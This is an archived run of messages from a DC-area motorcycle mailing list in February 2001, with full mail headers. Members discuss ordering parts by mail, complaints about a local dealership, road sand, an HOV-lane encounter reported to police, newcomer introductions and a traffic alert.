dirty.meretrix.com (8.10.0/8.10.0) with ESMTP id f1MCuYn21293 for ; Thu, 22 Feb 2001 07:56:34 -0500 (EST) Received: from mdspxy01.dot.gov by mh1.dot.gov with ESMTP for dc-cycles@XXXXXX; Thu, 22 Feb 2001 07:56:20 -0500 Received: from rspa_exchange.rspa.dot.gov ([152.119.86.48]) by mdspxy01.dot.gov (Netscape Messaging Server 4.15) with ESMTP id G95TA001.SMG; Thu, 22 Feb 2001 07:56:24 -0500 Received: by rspa-exchange.rspa.dot.gov with Internet Mail Service (5.5.2650.21) id ; Thu, 22 Feb 2001 07:51:22 -0500 Message-Id: From: "Donald Burger" To: "'the_penas@XXXXXX'" , DC Cycles Subject: RE: Ordering from Motorcycle Accessory Warehouse Date: Thu, 22 Feb 2001 07:51:21 -0500 X-Mailer: Internet Mail Service (5.5.2650.21) My advice is to never order anything from MAW. I have never had anything but bad luck with them. The two times I have ordered with them both times they have initially told me that items were in stock and would ship the next day. Then to my surprise I get notified that the items are on back order and it will be several weeks until a new shipment arrives from the manufacturer or distributor. They also charged my credit card as soon as the order was placed rather than waiting for the shipment date. I would rather spend extra money somewhere else i.e. the Dirt Shop in College Park (shameless plug) then give a dime to MAW. And if you shop locally more often you may be surprised to find that prices are not that much more expensive than mail order (except for tires) but that's just my opinion. Don B > -----Original Message----- > From: Chuck Pena [SMTP:cvkgpena@XXXXXX] > Sent: Wednesday, February 21, 2001 9:49 AM > To: DC Cycles; DCCycles2 > Subject: Ordering from Motorcycle Accessory Warehouse > > I don't know how many of your order (or plan to order) stuff from > Motorcycle Accessory Warehouse, but here's a bit of useful info... > > When you place your order (or right after you place your order), tell > them you want a freight adjustment. For all orders, there is a $3.95 > handling charge and then the shipping on top of that. When you place > your order, the shipping is estimated. They also generally assume that > all the stuff is shipped separately. In other words, a lot of the time > it's an overestimate of what it actually costs them to ship to you. But > unless you ask them for a freight adjustment, they'll just charge you > more even though it doesn't cost them more (i.e., that's pure profit to > them and a lot of times can make their attractive discount pricing less > of a deal than you thought). > > I found this out when I ordered a set of Renthal sprockets from MAW > (they're one of the few "discount" places left that still sells > Renthal). Their pricing was pretty decent. But I was shocked at their > shipping costs. So I talked to a nice person (girl) in customer > service. Their website has estimates for various items. I pointed out > to her that the shipping on my sprockets was practically double what > their website was showing for a helmet, which weighed more and had a > larger box. She explained to me their policies about shipping and > handling. And then she also told me she could do a freight adjustment > and that the difference between what they would have ordinarily charged > me and what the actual cost to ship would be refunded to me after the > items were actually shipped and they knew what it cost. > > BOTTOM LINE: Asking for a freight adjustment can save you a few bucks. > In my case it was $7.61 (about half of what they were going to charge me > if I didn't ask). This is especially true if you have multiple items > all coming at once and from the same warehouse (they have several > warehouses in various parts of the country and assume in their shipping > estimate that the stuff will be coming in separate orders from the > warehouse furtheset away). > > REMEMBER TO ASK FOR A FREIGHT ADJUSTMENT!!! > > Chuck > > -- > "Wherever you go, there you are." -- Buckaroo Banzai > visit us at http://www.geocities.com/the_penas From dc-cycles-request Thu Feb 22 09:08:51 2001 Return-Path: Received: from bc-gwgate1.int.bcop.com (bcopgate.bcop.com [204.99.250.45]) by dirty.meretrix.com (8.10.0/8.10.0) with SMTP id f1ME8on23178 for ; Thu, 22 Feb 2001 09:08:50 -0500 (EST) Received: from BCGATE-DOM-Message_Server by bc-gwgate1.int.bcop.com with Novell_GroupWise; Thu, 22 Feb 2001 08:11:45 -0600 Message-Id: X-Mailer: Novell GroupWise Internet Agent 5.5.3.1 Date: Thu, 22 Feb 2001 08:05:14 -0600 From: "George Cole" To: "<" Subject: Evans Cooling? Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Disposition: inline Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by dirty.meretrix.com id f1ME8tn23179 Has anyone on the list used this stuff? >From their statements on their web page it looks like a much better alternative to Watter wetter for racing apps. (AMA,CCS,and WERA approved) Also looks to be better that coolant for street apps too. http://www.evanscooling.com/ Regards, George Cole 00 VFR (NPNB) 99 R6 From dc-cycles-request Thu Feb 22 09:12:12 2001 Return-Path: Received: from maynard.mail.mindspring.net (maynard.mail.mindspring.net [207.69.200.243]) by dirty.meretrix.com (8.10.0/8.10.0) with ESMTP id f1MECCn23283 for ; Thu, 22 Feb 2001 09:12:12 -0500 (EST) Received: from ix.netcom.com (vna-va13-24.ix.netcom.com [207.223.178.152]) by maynard.mail.mindspring.net (8.9.3/8.8.5) with ESMTP id JAA17512; Thu, 22 Feb 2001 09:12:05 -0500 (EST) Message-ID: <3A951E94.FD025354@ix.netcom.com> Date: Thu, 22 Feb 2001 09:13:40 -0500 From: Chuck Pena Reply-To: the_penas@XXXXXX X-Mailer: Mozilla 4.7 [en] (Win95; I) X-Accept-Language: en MIME-Version: 1.0 To: DC Cycles CC: Donald Burger Subject: Re: Ordering from Motorcycle Accessory Warehouse References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Don, FWIW, this was my first time ordering from MAW. The transaction went pretty smoothly. Stuff arrived pretty much when I expected it. But they probably wouldn't be my first choice for ordering stuff. They just happened to have what I wanted/needed at the best price. As far as buying locally, I'm all for supporting local businesses. That said, at least for the kind of sportbike stuff that I buy, there aren't a whole lot of places that actually stock stuff (Fast Lane can get stuff but doesn't always have stuff on hand). And even sale prices at local shops can't always beat mail/web pricing. (One example of this is when Fast Lane had their end-of-season "blowout" last fall. They definitely were doing some pretty deep mark-downs on their in-stock stuff. I looked pretty seriously at an Arai Quantum F racer rep helmet. Priced well below the usual MSRP selling price. But still higher than what I could get it for web/mail. In the end, I decided I didn't really want that particular helmet. But as a former small business owner, I also wasn't going to ask Rick to take an even bigger hit on his margin to match a web/mail price. Hopefully, he was able to sell the helmet and make a decent profit to a customer who wanted to pay less than MSRP and who got a good deal on a sale price.) For big ticket items, that can be a big difference. For less expensive stuff, it's not such a big deal (I mean, I'm not going to quibble over a few bucks for a $20 or even $40 whatever; but once I start having to spend closer to or more than triple digits, price matters). In the case of my Renthal sprockets, I asked Denny at Crossroads for a price on them (and he usually has pretty decent pricing), but it was still more expensive than doing it mail order (including the shipping). And Denny knows he's going to get my business for maintenance and putting stuff on my m/c (like the tires and sprockets I just bought). Denny understands that it's my money and can't fault me for wanting to save money. Anyway, the point of my post wasn't necessarily to endorse MAW (I'm not, but if asked I would say that my experience was positive) but to let people know about asking for a freight adjustment to possibly save a few bucks on the shipping & handling costs they charge. Other places I've done mail/web business with include: Kiernan Racing Supplies, Chapparal, Dennis Kirk, and Competition Accessories. All I know is that if I had to rely solely on local shops for all the different stuff I've bought from these various places, I'd probably end up spending something like 50% (or more) than what I was able to get stuff for. Chuck Donald Burger wrote : > > My advice is to never order anything from MAW. I have never had anything > but bad luck with them. -- "Wherever you go, there you are." -- Buckaroo Banzai visit us at http://www.geocities.com/the_penas From dc-cycles-request Thu Feb 22 09:17:57 2001 Return-Path: Received: from imo-r10.mx.aol.com (imo-r10.mx.aol.com [152.163.225.10]) by dirty.meretrix.com (8.10.0/8.10.0) with ESMTP id f1MEHun23465 for ; Thu, 22 Feb 2001 09:17:57 -0500 (EST) Received: from GOINGRIDING@XXXXXX by imo-r10.mx.aol.com (mail_out_v29.5.) id 2.b4.11a9a030 (16784) for ; Thu, 22 Feb 2001 09:17:30 -0500 (EST) From: GOINGRIDING@XXXXXX Message-ID: Date: Thu, 22 Feb 2001 09:17:17 EST Subject: Re: Free Oil and Filter Change To: dc-cycles@XXXXXX MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="part1_b4.11a9a030.27c6796d_boundary" Content-Disposition: Inline X-Mailer: 6.0 sub 10501 --part1_b4.11a9a030.27c6796d_boundary Content-Type: text/plain; charset="US-ASCII" Content-Transfer-Encoding: 7bit In a message dated 2/21/01 9:00:41 PM Eastern Standard Time, fj1100@XXXXXX writes: > Just got a flyer from PowerRide > Free Oil & Filter Change only good on 3/3/01 (Saturday) > > For those who are not DIYers > Sounds like they are feeling the pressure of declining business and lost franchises :). Life is good. --part1_b4.11a9a030.27c6796d_boundary Content-Type: text/html; charset="US-ASCII" Content-Transfer-Encoding: 7bit In a message dated 2/21/01 9:00:41 PM Eastern Standard Time,
fj1100@XXXXXX writes:


Just got a flyer from PowerRide
Free Oil & Filter Change only good on 3/3/01 (Saturday)

For those who are not DIYers


Sounds like they are feeling the pressure of declining business and lost
franchises :).  Life is good.
--part1_b4.11a9a030.27c6796d_boundary-- From dc-cycles-request Thu Feb 22 09:19:07 2001 Return-Path: Received: from web515.mail.yahoo.com (web515.mail.yahoo.com [216.115.104.230]) by dirty.meretrix.com (8.10.0/8.10.0) with SMTP id f1MEJ6n23511 for ; Thu, 22 Feb 2001 09:19:07 -0500 (EST) Message-ID: <20010222141905.13328.qmail@web515.mail.yahoo.com> Received: from [216.84.80.197] by web515.mail.yahoo.com; Thu, 22 Feb 2001 06:19:05 PST Date: Thu, 22 Feb 2001 06:19:05 -0800 (PST) From: Tom Gimer Subject: Re: was RE: carb cleaning; was 76 Honda 360T To: "Jay St. Peter" , twg@XXXXXX Cc: dc-cycles@XXXXXX In-Reply-To: <000201c0983c$3aebb740$c7c809c0@roadrash> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii --- "Jay St. Peter" wrote: > > Hugh A. Caldwell wrote: > I think it's a real shame the Misty Hymen didn't win the > ESPN female olympic athelete award. > > LOL, I agree. Since he brought it up. I offer TG my > hopes that his upcoming nuptuals are blessed by Hymen. > ...................you know ... the greek god of > marriage. thanks very much! yes, it would be quite nice if hymen were involved, in some shape or form, in my wedding night. -- tg __________________________________________________ Do You Yahoo!? Yahoo! Auctions - Buy the things you want at great prices! http://auctions.yahoo.com/ From dc-cycles-request Thu Feb 22 09:35:51 2001 Return-Path: Received: from wpo.aamc.org (wpo.aamc.org [143.220.4.36]) by dirty.meretrix.com (8.10.0/8.10.0) with SMTP id f1MEZon23897 for ; Thu, 22 Feb 2001 09:35:50 -0500 (EST) Received: from AAMC-Message_Server by wpo.aamc.org with Novell_GroupWise; Thu, 22 Feb 2001 09:34:46 -0500 Message-Id: X-Mailer: Novell GroupWise Internet Agent 5.5.2.1 Date: Thu, 22 Feb 2001 09:34:27 -0500 From: "Onur Topac" To: , Subject: RE: Sand Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Disposition: inline Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by dirty.meretrix.com id f1MEZqn23898 >What's with all the sand in the road? Is that Montgomery County's answer to snow? It's pretty awful. I try to look for it always. One thing I've found to help is riding on the outer edge of the corners where the cages keep their weight on curves. The sand seems to be less. Onur Bethesda, MD Bike-less for a week! From dc-cycles-request Thu Feb 22 09:43:42 2001 Return-Path: Received: from bc-gwgate1.int.bcop.com (bcopgate.bcop.com [204.99.250.45]) by dirty.meretrix.com (8.10.0/8.10.0) with SMTP id f1MEhgn23989 for ; Thu, 22 Feb 2001 09:43:42 -0500 (EST) Received: from BCGATE-DOM-Message_Server by bc-gwgate1.int.bcop.com with Novell_GroupWise; Thu, 22 Feb 2001 08:46:42 -0600 Message-Id: X-Mailer: Novell GroupWise Internet Agent 5.5.3.1 Date: Thu, 22 Feb 2001 08:39:52 -0600 From: "George Cole" To: , Subject: Re: Free Oil and Filter Change Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Disposition: inline Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by dirty.meretrix.com id f1MEhin23990 Based on some of the horror stories I have heard about PowerRide, I wouldn't let them add air to my tyres let alone do an oil change. There has to be a catch somewhere on this offer. George Cole >>> 02/22/01 09:17AM >>> In a message dated 2/21/01 9:00:41 PM Eastern Standard Time, fj1100@XXXXXX writes: > Just got a flyer from PowerRide > Free Oil & Filter Change only good on 3/3/01 (Saturday) > > For those who are not DIYers > Sounds like they are feeling the pressure of declining business and lost franchises :). Life is good. From dc-cycles-request Thu Feb 22 10:06:11 2001 Return-Path: Received: from vasfw03.fdic.gov (vasfw03.fdic.gov [192.147.69.46]) by dirty.meretrix.com (8.10.0/8.10.0) with ESMTP id f1MF6An24420 for ; Thu, 22 Feb 2001 10:06:10 -0500 (EST) Received: by vasfw03.fdic.gov; id KAA27362; Thu, 22 Feb 2001 10:06:05 -0500 (EST) Received: from unknown(151.174.4.145) by vasfw03.fdic.gov via smap (V5.5) id xma026735; Thu, 22 Feb 01 10:04:16 -0500 Received: by s00exc101.fdic.gov with Internet Mail Service (5.5.2651.58) id <1ZM92258>; Thu, 22 Feb 2001 10:04:15 -0500 Message-ID: <42A213AA7052D21187EB080009DC7807049A6836@s01exc102.fdic.gov> From: "Myles, Gregory S." To: "'George Cole'" , GOINGRIDING@XXXXXX, dc-cycles@XXXXXX Subject: RE: Free Oil and Filter Change Date: Thu, 22 Feb 2001 10:04:14 -0500 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2651.58) Content-Type: text/plain; charset="iso-8859-1" Ditto on (Coleman's) Powersport, PowerRide, whatever they're calling themselves these days. I had a run-in with them last year over a service matter, wound up complaining to both American Honda and Virginia's Consumer Affairs. Coleman chose to ignore all their inquiries. -----Original Message----- From: George Cole [mailto:George.Cole@XXXXXX] Sent: Thursday, February 22, 2001 9:40 AM To: GOINGRIDING@XXXXXX; dc-cycles@XXXXXX Subject: Re: Free Oil and Filter Change Based on some of the horror stories I have heard about PowerRide, I wouldn't let them add air to my tyres let alone do an oil change. There has to be a catch somewhere on this offer. George Cole >>> 02/22/01 09:17AM >>> In a message dated 2/21/01 9:00:41 PM Eastern Standard Time, fj1100@XXXXXX writes: > Just got a flyer from PowerRide > Free Oil & Filter Change only good on 3/3/01 (Saturday) > > For those who are not DIYers > Sounds like they are feeling the pressure of declining business and lost franchises :). Life is good. From dc-cycles-request Thu Feb 22 10:44:09 2001 Return-Path: Received: from fin-out.finnegan.com (firewall-user@XXXXXX [38.241.51.2]) by dirty.meretrix.com (8.10.0/8.10.0) with ESMTP id f1MFi9n25143 for ; Thu, 22 Feb 2001 10:44:09 -0500 (EST) Received: by fin-out.finnegan.com; id KAA15807; Thu, 22 Feb 2001 10:44:03 -0500 (EST) Received: from unknown(192.68.20.4) by fin-out.finnegan.com via smap (V5.0) id xma015778; Thu, 22 Feb 01 10:43:04 -0500 Received: from FHFGD-Message_Server by netmail.finnegan.com with Novell_GroupWise; Thu, 22 Feb 2001 10:41:03 -0500 Message-Id: X-Mailer: Novell GroupWise 5.5.3 Date: Thu, 22 Feb 2001 10:40:21 -0500 From: "Judy La Follette" To: , , Subject: Re: Free Oil and Filter Change Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Disposition: inline Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by dirty.meretrix.com id f1MFiHn25144 I know that they are having the European Bike day or whatever they are calling it on Wednesday, February 28. Doug Polin is supposed to be there with the Ducati truck and apparel on their way to Daytona. I think March 3rd is supposedly their Open House Day. I remember them doing something like that before, but then it came down to that they could only do so many that day because of the mechanics availability or time it took to do the oil change. Basically, I believe that it is true, but first come, first serve. I stopped by Motorcycle Factory, Inc. two weekends ago (3820 Prince William Parkway) and got a very good welcome. I then drove to PowerRide to check out their new personality. I was there 40 minutes with no one even asking if they could help me or to welcome me. They had plenty of signs on the Ducatis indicating to not sit on the bikes, and wait for assistance. I sat on every bike that had a sign, to no avail. I finally walked into the accessories to see what they had in the Ducati apparal. Finally a guy spoke and I asked him if they were there for the customer or for the money. He said the money. At least he was honest. I told him that I could not believe with Coleman's bad reputation that they would still have the PowerSport sign on the front of the building and a Coleman's PowerSport sign handing from a Dunlap Tires sign. I was really telling him how I felt about the old Coleman's, and he did not really act like it bothered him. He turned out to be a Manager, so I guess that he would know a little of the background. After I made such a stir that I had been in the bike area for 40 minutes with no assistance, they started introducing me to people. The shop area was of course kissing butt, because I am due for a 18,000 miles valves/service on the Ducati. However, I am sure that I will still be taking it to Moto Europa in Richmond. Too bad, Coleman/PowerSport/PowerRide is only about eight to ten miles from my house. >>> "George Cole" 02/22/01 09:39AM >>> Based on some of the horror stories I have heard about PowerRide, I wouldn't let them add air to my tyres let alone do an oil change. There has to be a catch somewhere on this offer. George Cole >>> 02/22/01 09:17AM >>> In a message dated 2/21/01 9:00:41 PM Eastern Standard Time, fj1100@XXXXXX writes: > Just got a flyer from PowerRide > Free Oil & Filter Change only good on 3/3/01 (Saturday) > > For those who are not DIYers > Sounds like they are feeling the pressure of declining business and lost franchises :). Life is good. From dc-cycles-request Thu Feb 22 11:19:21 2001 Return-Path: Received: from pmesmtp02.wcom.com (pmesmtp02.wcom.com [199.249.20.2]) by dirty.meretrix.com (8.10.0/8.10.0) with ESMTP id f1MGJKn25769 for ; Thu, 22 Feb 2001 11:19:20 -0500 (EST) Received: from pmismtp01.wcomnet.com ([166.38.62.36]) by firewall.mcit.com (PMDF V5.2-32 #42257) with ESMTP id <0G96008B32J85Y@XXXXXX> for dc-cycles@XXXXXX; Thu, 22 Feb 2001 16:16:20 +0000 (GMT) Received: from pmismtp01.wcomnet.com by pmismtp01.wcomnet.com (PMDF V5.2-33 #42258) with SMTP id <0G96002012J1F0@XXXXXX>; Thu, 22 Feb 2001 16:16:19 +0000 (GMT) Received: from home.com ([166.36.152.226]) by pmismtp01.wcomnet.com (PMDF V5.2-33 #42258) with ESMTP id <0G9600JHJ2IVT0@XXXXXX>; Thu, 22 Feb 2001 16:16:07 +0000 (GMT) Date: Thu, 22 Feb 2001 11:16:04 -0500 From: Dale Horstman Subject: Re: Free Oil and Filter Change To: George Cole Cc: GOINGRIDING@XXXXXX, dc-cycles@XXXXXX Message-id: <3A953B44.BA633F02@home.com> MIME-version: 1.0 X-Mailer: Mozilla 4.7 [en] (WinNT; I) Content-type: text/plain; charset=us-ascii Content-transfer-encoding: 7bit X-Accept-Language: en References: George Cole wrote: > > Based on some of the horror stories I have heard about PowerRide, > I wouldn't let them add air to my tyres let alone do an oil change. > > There has to be a catch somewhere on this offer. > > George Cole Well, probably a 5 hour wait for starters. -- Mandatory second line (CM tm) Dale Horstman - the.horkster@XXXXXX Dale City, Virginia, USA, Earth '98 Kawasaki Concours - BugSlayer '99 Kawasaki Concours - Grape Nehi '82 GS850G, '87 Concours - project bikes From dc-cycles-request Thu Feb 22 11:24:48 2001 Return-Path: Received: from smtp01.mrf.mail.rcn.net (smtp01.mrf.mail.rcn.net [207.172.4.60]) by dirty.meretrix.com (8.10.0/8.10.0) with ESMTP id f1MGOmn25898 for ; Thu, 22 Feb 2001 11:24:48 -0500 (EST) Received: from 66-44-40-160.s160.tnt1.lnhdc.md.dialup.rcn.com ([66.44.40.160] helo=pawilson) by smtp01.mrf.mail.rcn.net with smtp (Exim 3.16 #5) id 14VyXu-000665-00 for dc-cycles@XXXXXX; Thu, 22 Feb 2001 11:24:47 -0500 Message-ID: <01af01c09cec$0a26be20$bb82fea9@pawilson> From: "Paul Wilson" To: "dc-cycles list" References: Subject: Re: Ordering from Motorcycle Accessory Warehouse Date: Thu, 22 Feb 2001 11:06:24 -0500 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.00.2615.200 X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2615.200 I tend to avoid MAW as well. I've ordered stuff from Chaparral lately (for oddball size Nighthawk drive chain and sprockets that not many non-Honda shops stock) and been happy with their service and prompt delivery. For back ordered, out of stock items they do not hit your card until the item ships. I appreciate that. I do patronize local businesses whenever possible, but avoid certain Honda dealers (or should I say "former" Honda dealers) like the plague. I guess Powerride Falls Church still has a Honda franchise. Paul in DC 91 CB750 ----- Original Message ----- From: Donald Burger > My advice is to never order anything from MAW. I have never had anything > but bad luck with them. From dc-cycles-request Thu Feb 22 12:52:16 2001 Return-Path: Received: from hotmail.com (f260.pav1.hotmail.com [64.4.30.135]) by dirty.meretrix.com (8.10.0/8.10.0) with ESMTP id f1MHqGn27689 for ; Thu, 22 Feb 2001 12:52:16 -0500 (EST) Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC; Thu, 22 Feb 2001 09:52:10 -0800 Received: from 204.193.255.42 by pv1fd.pav1.hotmail.msn.com with HTTP; Thu, 22 Feb 2001 17:52:09 GMT X-Originating-IP: [204.193.255.42] From: "Doug Allis" To: dc-cycles@XXXXXX Subject: Lunch Time Ride; HOV Nutcase Date: Thu, 22 Feb 2001 17:52:09 Mime-Version: 1.0 Content-Type: text/plain; format=flowed Message-ID: X-OriginalArrivalTime: 22 Feb 2001 17:52:10.0153 (UTC) FILETIME=[2DDB1990:01C09CF8] I envy all you folks able to ride during lunch the last few days. My riding the last few weeks has been strictly back and forth to work...the 395 HOV lanes are boring..... But yesterday am was a bit more lively. A Lexus LS-400, driven by a professional looking young woman actually squeezed by me on my right, split between the shoulder and my lane. I think she was annoyed she couldn't pass on my left because a SUV was sloooowly passing me. I was doing close to 70 when she passed! She then continued her crazy drive up to the Pentagon, passing at will, until just before the Pentagon, where traffic slowed to a stop. It was there that I actually ended up next to her, as we sat in traffic. I stared at her, and her car. I got a good look, I got her plate number and then called the VA State Police when I got to work. This is the second time I've been sandwiched between two cagers, one riding the shoulder. I was pissed, I wanted to get even. According to the cop, this women is probably going to end up with a reckless driving charge and I may spend a morning in court. She may get off with a reduced charge, but it will be worth it to me, even if all she has to do is hire a $1,000 lawyer to get off on a reduced charge. What a fu..... nut case. _________________________________________________________________ Get your FREE download of MSN Explorer at http://explorer.msn.com From dc-cycles-request Thu Feb 22 13:01:40 2001 Return-Path: Received: from mail.troutman.org (dsl-64-194-164-125.telocity.com [64.194.164.125]) by dirty.meretrix.com (8.10.0/8.10.0) with ESMTP id f1MI1en27901 for ; Thu, 22 Feb 2001 13:01:40 -0500 (EST) Received: from vulture.wheatintl.com ([209.249.185.69]) by mail.troutman.org (8.9.3/8.9.3) with ESMTP id NAA03457 for ; Thu, 22 Feb 2001 13:01:17 -0500 Message-Id: <5.0.0.25.2.20010222125918.02e8eeb0@mail.troutman.org> X-Sender: mtroutma@XXXXXX X-Mailer: QUALCOMM Windows Eudora Version 5.0 Date: Thu, 22 Feb 2001 13:01:14 -0500 To: dc-cycles@XXXXXX From: Troutman Subject: Re: Lunch Time Ride; HOV Nutcase In-Reply-To: Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed At 12:52 PM 2/22/01, Doug Allis wrote: >This is the second time I've been sandwiched between two cagers, one >riding the shoulder. Doug - that sucks. Glad you nailed her. Think better lane control is in order? I guess it doesn't matter if she went to the shoulder for the pass. A big boot dent in the passenger door would have looked pretty. ___________________________________________ Mike Troutman http://www.troutman.org/vfr Kicked one car and lived to tell about it. From dc-cycles-request Thu Feb 22 13:02:59 2001 Return-Path: Received: from web901.mail.yahoo.com ([128.11.23.76]) by dirty.meretrix.com (8.10.0/8.10.0) with SMTP id f1MI2wn27919 for ; Thu, 22 Feb 2001 13:02:58 -0500 (EST) Received: (qmail 6534 invoked by uid 60001); 22 Feb 2001 18:02:56 -0000 Message-ID: <20010222180256.6533.qmail@web901.mail.yahoo.com> Received: from [206.229.31.23] by web901.mail.yahoo.com; Thu, 22 Feb 2001 10:02:56 PST Date: Thu, 22 Feb 2001 10:02:56 -0800 (PST) From: Leon Begeman Subject: Re: HOV Nutcase To: Doug Allis Cc: DCCycles In-Reply-To: MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii --- Doug Allis wrote: > LS-400, driven by a > professional looking young woman actually squeezed > by me on my right, split > between the shoulder and my lane. ..snip > called the VA State Police when I > got to work. ..snip > According to the cop, this > women is probably going to end up with a reckless > driving charge Oooh, I like this. I let them pass all the time sharing my lane. I'll continue to get them used to doing it, you get them a reckless driving ticket. We might be able to clear the roads of BDCs. :-) :-) :-) Leon. 48-53 in the right HOV lane every day. __________________________________________________ Do You Yahoo!? Yahoo! Auctions - Buy the things you want at great prices! http://auctions.yahoo.com/ From dc-cycles-request Thu Feb 22 13:39:53 2001 Return-Path: Received: from jefferson.patriot.net (IDENT:root@XXXXXX [209.249.176.3]) by dirty.meretrix.com (8.10.0/8.10.0) with ESMTP id f1MIdrn28597 for ; Thu, 22 Feb 2001 13:39:53 -0500 (EST) Received: from patriot.net (pool181-23.patriot.net [209.249.181.23]) by jefferson.patriot.net (8.10.1/8.10.1) with ESMTP id f1MIdpx01773 for ; Thu, 22 Feb 2001 13:39:51 -0500 Message-ID: <3A955BA9.B33C4BF0@patriot.net> Date: Thu, 22 Feb 2001 13:34:17 -0500 From: "William J. Huson" X-Mailer: Mozilla 4.06 [en] (Win98; I) MIME-Version: 1.0 To: dc-cycles@XXXXXX Subject: who wuz that brave man??? Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit in the dark blue sidecar rig headed south on the 395 HOV lanes? I've this rig a couple times in the last week, made me shiver. And today??? Good grief!!! Hope the gas tank was full `cause traffic was inching south. Anyone on this list? Bill From dc-cycles-request Thu Feb 22 14:10:02 2001 Return-Path: Received: from web117.yahoomail.com (web117.mail.yahoo.com [205.180.60.91]) by dirty.meretrix.com (8.10.0/8.10.0) with SMTP id f1MJA1n29135 for ; Thu, 22 Feb 2001 14:10:01 -0500 (EST) Received: (qmail 9191 invoked by uid 60001); 22 Feb 2001 19:09:59 -0000 Message-ID: <20010222190959.9182.qmail@web117.yahoomail.com> Received: from [32.101.77.189] by web117.yahoomail.com; Thu, 22 Feb 2001 11:09:59 PST Date: Thu, 22 Feb 2001 11:09:59 -0800 (PST) From: Mark Kitchell Subject: Re: newbie To: ricardopontes , dc-cycles@XXXXXX In-Reply-To: <000b01c09cbd$4a31bee0$f9280a3f@pavilion> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Benvenido Richardo: WElcome aboard to this crazy group. We do talk about actual riding sometimes. I am sure there will be lots of rides this spring/summer. Also, I hope you can make one of our Bike Nights! Mark --- ricardo pontes wrote: > Hello, > > > I am new to the group. I live in Burtonsville, MD. I > just started > motorcycling. I own a Triumph tiger 1998, and a > small 100cc kawasaki ke100. > I am hoping to join some group rides if there are > some available in this > group. I commute everyday to work on my triumph > tiger. If anyone would like > to ride somewhere it would be great. The furthest i > have gone is west > virginia, in the george washington national forest > area. > > Ricardo > Triumph tiger 98 > 99 kawasaki ke100 > > > > _________________________________________________________ > Do You Yahoo!? > Get your free @yahoo.com address at > http://mail.yahoo.com > __________________________________________________ Do You Yahoo!? Yahoo! Auctions - Buy the things you want at great prices! http://auctions.yahoo.com/ From dc-cycles-request Thu Feb 22 14:26:11 2001 Return-Path: Received: from wpo.aamc.org (wpo.aamc.org [143.220.4.36]) by dirty.meretrix.com (8.10.0/8.10.0) with SMTP id f1MJQAn29457 for ; Thu, 22 Feb 2001 14:26:10 -0500 (EST) Received: from AAMC-Message_Server by wpo.aamc.org with Novell_GroupWise; Thu, 22 Feb 2001 14:24:55 -0500 Message-Id: X-Mailer: Novell GroupWise Internet Agent 5.5.2.1 Date: Thu, 22 Feb 2001 14:24:24 -0500 From: "Onur Topac" To: Subject: Accident Alert Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Disposition: inline Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by dirty.meretrix.com id f1MJQCn29458 Just heard from a friend... An accident involving more than 100 cars happend on 95S in Prince William County. 95 S is CLOSED AT THAT POINT. Turn in to your radio on the way home. From dc-cycles-request Thu Feb 22 14:47:58 2001 Return-Path: Received: from evatac.com ([206.107.135.50]) by dirty.meretrix.com (8.10.0/8.10.0) with ESMTP id f1MJlvn29865 for ; Thu, 22 Feb 2001 14:47:57 -0500 (EST) Received: from [216.168.244.58] (216.168.244.58) by evatac.com with ESMTP (Eudora Internet Mail Server 2.2.2); Thu, 22 Feb 2001 11:47:14 -0800 Mime-Version: 1.0 X-Sender: johnw@XXXXXX Message-Id: Date: Thu, 22 Feb 2001 14:47:12 -0500 To: dc-cycles@XXXXXX From: John West Subject: another newbie Content-Type: text/plain; charset="us-ascii" ; format="flowed" Just wanted to introduce myself: I live in Reston, VA and ride a red and white '91 CBR600F2. My daily commute is all the way to Herndon (4 miles!) so chances are you won't see me during the week unless I go out at lunch. Hope to meet you all soon. -john From dc-cycles-request Thu Feb 22 14:50:08 2001 Return-Path: Received: from smtp01.mrf.mail.rcn.net (smtp01.mrf.mail.rcn.net [207.172.4.60]) by dirty.meretrix.com (8.10.0/8.10.0) with ESMTP id f1MJo8n29953 for ; Thu, 22 Feb 2001 14:50:08 -0500 (EST) Received: from 66-44-45-226.s480.tnt3.lnhdc.md.dialup.rcn.com ([66.44.45.226] helo=pawilson) by smtp01.mrf.mail.rcn.net with smtp (Exim 3.16 #5) id 14W1kc-0001B8-00 for dc-cycles@XXXXXX; Thu, 22 Feb 2001 14:50:07 -0500 Message-ID: <001f01c09d08$b6f54380$bb82fea9@pawilson> From: "Paul Wilson" To: "dc-cycles list" References: <3A955BA9.B33C4BF0@patriot.net> Subject: Re: who wuz that brave man??? Date: Thu, 22 Feb 2001 14:49:43 -0500 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.00.2615.200 X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2615.200 Looks like it will be "Plan B," AKA Metro, for me tonight. If I were caging it I'd leave work _now_. It's only going to get worse with all the BDCs, especially since we haven't had much snow this winter and people have short memories. A cab did a 180 and almost took out a pedestrian on Washington St. a few minutes ago. Paul in DC (in Alexandria for work) ----- Original Message ----- From: William J. Huson To: Sent: Thursday, February 22, 2001 1:34 PM Subject: who wuz that brave man??? > in the dark 